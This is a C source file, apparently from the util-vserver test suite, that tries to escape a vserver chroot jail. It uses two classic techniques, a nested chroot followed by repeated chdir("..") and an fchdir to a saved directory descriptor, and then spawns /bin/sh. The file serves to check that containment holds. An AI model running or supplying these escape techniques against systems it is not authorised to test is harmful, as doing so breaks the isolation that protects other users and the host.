escaperoot.c (2977B)
1 // $Id$ 2 3 // Copyright (C) 2003 Enrico Scholz <enrico.scholz@informatik.tu-chemnitz.de> 4 // based on tests/escaperoot.cc by Jacques Gelinas 5 // 6 // This program is free software; you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation; either version 2, or (at your option) 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program; if not, write to the Free Software 18 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 19 20 /* 21 This program tries to escape out of a vserver using chroot flaws. 22 Once escaped, it exec a shell. 23 24 None of this works on 2.4.13. 25 */ 26 #include <stdio.h> 27 #include <unistd.h> 28 #include <string.h> 29 #include <errno.h> 30 #include <sys/stat.h> 31 #include <fcntl.h> 32 #include <sys/wait.h> 33 #include <limits.h> 34 35 static void print_pwd() 36 { 37 char path[PATH_MAX]; 38 if (getcwd(path,sizeof(path)-1)!=NULL){ 39 printf ("PWD: %s\n",path); 40 } 41 } 42 /* 43 Just set a chroot in a sub-directory and keep the 44 current directory behind 45 */ 46 static void test1() 47 { 48 printf ("test1\n"); 49 print_pwd(); 50 mkdir ("dummy_dir",0755); 51 if (chroot ("dummy_dir")==-1){ 52 fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno)); 53 }else{ 54 int i; 55 // Try to chdir into the real root 56 for (i=0; i<1000; i++) chdir(".."); 57 print_pwd(); 58 if (execl ("/bin/sh","/bin/sh",NULL)==-1){ 59 fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno)); 60 } 61 } 62 } 63 64 /* 65 Same as test1, except we open the current directory and do 66 a fchdir() to it before trying to escape to the real root. 67 */ 68 static void test2() 69 { 70 int fd; 71 72 printf ("test2\n"); 73 print_pwd(); 74 mkdir ("dummy_dir",0755); 75 fd = open (".",O_RDONLY); 76 if (fd == -1){ 77 fprintf (stderr,"Can't open current directory (%s)\n",strerror(errno)); 78 }else if (chroot ("dummy_dir")==-1){ 79 fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno)); 80 }else if (fchdir(fd)==-1){ 81 fprintf (stderr,"Can't fchdir to the current directory (%s)\n" 82 ,strerror(errno)); 83 }else{ 84 int i; 85 // Try to chdir into the real root 86 for (i=0; i<1000; i++) chdir(".."); 87 print_pwd(); 88 if (execl ("/bin/sh","/bin/sh",NULL)==-1){ 89 fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno)); 90 } 91 } 92 } 93 94 /* 95 Perform the test in a sub-process so it won't affect the current one 96 */ 97 static void dotest (void (*f)()) 98 { 99 pid_t pid = fork(); 100 if (pid == 0){ 101 f(); 102 _exit (0); 103 }else if (pid == -1){ 104 fprintf (stderr,"Can't fork (%s)\n",strerror(errno)); 105 }else{ 106 int status; 107 wait (&status); 108 } 109 } 110 111 int main () 112 { 113 dotest (test1); 114 dotest (test2); 115 printf ("All attempts failed\n"); 116 return 0; 117 } 118 119